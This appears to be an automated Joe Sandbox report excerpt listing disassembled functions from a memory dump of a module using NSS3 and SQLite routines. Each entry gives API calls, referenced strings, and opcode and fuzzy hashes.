PR_GetCurrentThread.NSS3 ref: 6C76910A

Strings

%u.%u.%u.%u, xrefs: 6C768E74

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 75ece2b55c2a005b5f29418a1df9ed47630a8b9911767235f65f295ad47b7d07
Instruction ID: a688033dd2a9626c58d3a350f83fa3dd53b4546242942edabbf2c0b38265c32d
Opcode Fuzzy Hash: 75ece2b55c2a005b5f29418a1df9ed47630a8b9911767235f65f295ad47b7d07
Instruction Fuzzy Hash: C502BA319052518FDB18CF1AC6687AABBB2EF53354F29826ACC915FF92C331D949C790

Function 6C709C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C5DC52B), ref: 6C709D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70A114

Strings

%s at line %d of [%.10s], xrefs: 6C70A02E, 6C70A10D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C70A01F, 6C70A0E4, 6C70A0FE
database corruption, xrefs: 6C70A029, 6C70A108

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 747237dc559f40ec3941e525ad7918c223b52519af00ca98d711597c5593ab93
Instruction ID: 43ffb86fb7cbbf5141caa6ef2098450fc71ef5129500bb174d74d3212fea0419
Opcode Fuzzy Hash: 747237dc559f40ec3941e525ad7918c223b52519af00ca98d711597c5593ab93
Instruction Fuzzy Hash: 6822ACB17083419FC704CF29C69062ABBE1BFDA354F148A3DE9DA97A52D731E845CB42

Function 6C729D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C5E8637,?,?), ref: 6C729E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C5E8637), ref: 6C729ED6

Strings

%s at line %d of [%.10s], xrefs: 6C729ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C729EC0
database corruption, xrefs: 6C729ECA

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 09b5540a34350d3c5198fe76ee9ff6739680b954e54a1ceef1e05f6aae4bcf43
Instruction ID: 93e6624f903cc5810b0fdf43b0a3d97c0aee3162a67fb9604e7dc27adca02f3d
Opcode Fuzzy Hash: 09b5540a34350d3c5198fe76ee9ff6739680b954e54a1ceef1e05f6aae4bcf43
Instruction Fuzzy Hash: 0E81A071F012098FCB14CFAACA84ADEB3F6EF58304B188569E815ABB51E734ED45CB50

Function 6C737F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7381BC

Strings

BINARY, xrefs: 6C738126
out of memory, xrefs: 6C73835B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 1c667550248587a7fde8d89a5d179766eb1ad02d10f5329b4b13a2ffad4d1529
Instruction ID: 5c68758b613dd9a766786d7a7a526e109fe71757a502387342787647f2b06efa
Opcode Fuzzy Hash: 1c667550248587a7fde8d89a5d179766eb1ad02d10f5329b4b13a2ffad4d1529
Instruction Fuzzy Hash: F452AF71E05228DFDB04CF99C980B9DBBB2FF48318F15916AD859EB752D730A846CB80

Function 6C6B9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6B9ED6

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C6B9EE4

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6B9F38

Part of subcall function 6C6BD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C6B9F0B), ref: 6C6BD03B
Part of subcall function 6C6BD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C6BD04E
Part of subcall function 6C6BD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C6BD07B
Part of subcall function 6C6BD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C6BD08E
Part of subcall function 6C6BD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6BD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6B9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C6B9F59

Part of subcall function 6C6B9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6B9C5B), ref: 6C6B9D82
Part of subcall function 6C6B9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6B9C5B), ref: 6C6B9DA9
Part of subcall function 6C6B9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6B9C5B), ref: 6C6B9DCE
Part of subcall function 6C6B9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6B9C5B), ref: 6C6B9E43

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: e0161a4a089a2d8325c13b07d1c8cbdb1dd59d199673a3e60fe1ca6c5bdd8558
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: CF110BB5F042026BF7109B659C00B9B73A9AFA635CF140134E50AAB740FB71E539C39D

Function 6C76CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C76D086
PR_Malloc.NSS3(00000001), ref: 6C76D0B9
PR_Free.NSS3(?), ref: 6C76D138

Strings

>, xrefs: 6C76CF5B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: dadeca0df0336e890a93f9c09d5546fdac01e6f59edf48890e3e18a2e203b027
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 9DD18A32B506460BEF18487F8EA13EA77938762374F784339DD618BFE5E65888438305

Function 6C5EAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

0vl, xrefs: 6C5EACC0, 6C5EAD22, 6C5EAD5E, 6C5EAE45
Pvl, xrefs: 6C5EADDB, 6C5EADF5, 6C5EAE6A
winUnlockReadLock, xrefs: 6C5EAE9F
winUnlock, xrefs: 6C5EAE18
pvl, xrefs: 6C5EADA7

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: 0vl$Pvl$pvl$winUnlock$winUnlockReadLock
API String ID: 0-792151856
Opcode ID: e20b9e19ba0afe291d9b8cee9bc22bb4791b3380891b8ef03cf62bb322d0ebc0
Instruction ID: eecee8da5ac6bf1c60882fbbe5d7e3ac746ab80e53bce509b454173c4e46b59e
Opcode Fuzzy Hash: e20b9e19ba0afe291d9b8cee9bc22bb4791b3380891b8ef03cf62bb322d0ebc0
Instruction Fuzzy Hash: E671BD706083449FDB04CF28E894AAABBF5FF89304F14CA28F95997351E730A985CBD1

Function 6C70AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 794bfaa1980d3c154a5c416d9e425536d3842891f06a5ee8c1baa9c35b8d8776
Instruction ID: 26f18300c447125f1e7eb02779cb283940893cb3118e5255baca8150d3083427
Opcode Fuzzy Hash: 794bfaa1980d3c154a5c416d9e425536d3842891f06a5ee8c1baa9c35b8d8776
Instruction Fuzzy Hash: A5F1E1B1F012598BDB04CFA9DA547AE77F0AB8A308F25823DD905D7B44E770AA51CBC4

Function 6C6FDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5D5001,?,00000003,00000000), ref: 6C6FDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C5D5001,?), ref: 6C6FE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C5D5001,?), ref: 6C6FE2DA

Strings

W, xrefs: 6C6FE111

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 40b88c6e33cd5cace35e86ebe49c0735146c25b2cd4516ec4412a20f04fedf37
Instruction ID: 81f911910fb2354c947499ff244de95da27b7d87c1d6102bec37ca2ab405f34f
Opcode Fuzzy Hash: 40b88c6e33cd5cace35e86ebe49c0735146c25b2cd4516ec4412a20f04fedf37
Instruction Fuzzy Hash: D3C11772A092558BDB04CE2AC4907EA7FB3BF86308F284169DD799BB41D731A907C7D4

Function 6C6C0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C6C1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C6C1086

Strings

h(ll, xrefs: 6C6C0E55, 6C6C0EC4, 6C6C0F3A, 6C6C0FA7
h(ll, xrefs: 6C6C1062, 6C6C105D, 6C6C0F37, 6C6C1081, 6C6C1082

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(ll$h(ll
API String ID: 1297977491-1774252009
Opcode ID: 67f5b1fcb83da880fb63f573082336db8c87943e3a4081e198a5746fec37010d
Instruction ID: 8cacc4eec63e3fbaf3f0f4d0275ff84627187728bee462977504022fabc56833
Opcode Fuzzy Hash: 67f5b1fcb83da880fb63f573082336db8c87943e3a4081e198a5746fec37010d
Instruction Fuzzy Hash: 91A14BB1B0125A9FCF08CF99C894AEEBBB6FF4C314B148129E914A7700D735AD41CBA5

Function 6C5E4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

0vl, xrefs: 6C5E4EDE, 6C5E4F82
Pvl, xrefs: 6C5E5019, 6C5E50FA, 6C5E5157, 6C5E51DE, 6C5E51F2, 6C5E520D, 6C5E5220, 6C5E52A2, 6C5E52B5
winUnlockReadLock, xrefs: 6C5E5125
pvl, xrefs: 6C5E4E1C, 6C5E4E81, 6C5E4FDE, 6C5E5047, 6C5E50BB, 6C5E51A3, 6C5E526C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: 0vl$Pvl$pvl$winUnlockReadLock
API String ID: 0-1853705913
Opcode ID: 0ed5cc44f3942988c63461552229b44bce89009f2c210b17fd9df82dd5d138e0
Instruction ID: 3cbedef075596b0c078a03242bfe68d756f01b628b04aabbd222c3718a377c1c
Opcode Fuzzy Hash: 0ed5cc44f3942988c63461552229b44bce89009f2c210b17fd9df82dd5d138e0
Instruction Fuzzy Hash: 25E12B70A18344CFDB04DF28E89865ABBF0FF89304F558A6DF89997351E7309985CB82

Function 6C5E6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6C5E7049
noskipscan*, xrefs: 6C5E7067
unordered*, xrefs: 6C5E702B
*?[, xrefs: 6C5E7034, 6C5E7052, 6C5E7070

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: f0f4bade09ec0670cfc77a1599e0919988e2e42272c72179ebe5f85bfa625548
Instruction ID: 92c49b672d14e46bbccf307794f265cacb030f5e1c0adf67c6e2e1a140b3a08a
Opcode Fuzzy Hash: f0f4bade09ec0670cfc77a1599e0919988e2e42272c72179ebe5f85bfa625548
Instruction Fuzzy Hash: FC716C32F043154BEB14CE6DCC8039E77A29F89394F250678CD69ABBC6EA719C4687C1

Function 6C603EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6C60460F
sqlite_, xrefs: 6C603FAA, 6C604185
sqlite_master, xrefs: 6C60463F

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 13cb1de56c6c577b4cd9dc57d243c00aebf838c9dfbd30ced650c0011ee71b8e
Instruction ID: cea33bdaf64ff83b4ba73afc552ab02b30a1fd23bf808f6a75a5a13d1822b12a
Opcode Fuzzy Hash: 13cb1de56c6c577b4cd9dc57d243c00aebf838c9dfbd30ced650c0011ee71b8e
Instruction Fuzzy Hash: 3022AC2174D1554FD72D8B2682A06F6BBF29F67308B6845ACCAE17FE42D261EC41C788

Function 6C73BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C73C0B6

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 506eee700f2dbc4191454ecb41f8d5d0d7223a0a5c1c5bf7975cfba115cccf7a
Instruction ID: f30634c0bb76df83daecc7d63bef2afec589e4a26fea88a7d49689c469cbb107
Opcode Fuzzy Hash: 506eee700f2dbc4191454ecb41f8d5d0d7223a0a5c1c5bf7975cfba115cccf7a
Instruction Fuzzy Hash: 7D92B474A00269CFDB04DF58CA80BAEB7B2FF89309F245268D419A7B92D735EC45CB54

Function 6C5D3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C5D3EA9

Strings

0, xrefs: 6C5D3DAB

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: dd16d9e3c4b518be53289aa781cd2655386d52825df6f71bf5c6ab524c7a801d
Instruction ID: 6e2761b8652806c6dcf6819d7c5a0bcd90008ad506584de05129c4f42721581d
Opcode Fuzzy Hash: dd16d9e3c4b518be53289aa781cd2655386d52825df6f71bf5c6ab524c7a801d
Instruction Fuzzy Hash: 72512A31E4927A8ADB158A7D8C603FFBBB1DB42314F1E4329C5A167BC1D23465458794

Function 6C67EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C67F0F9

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
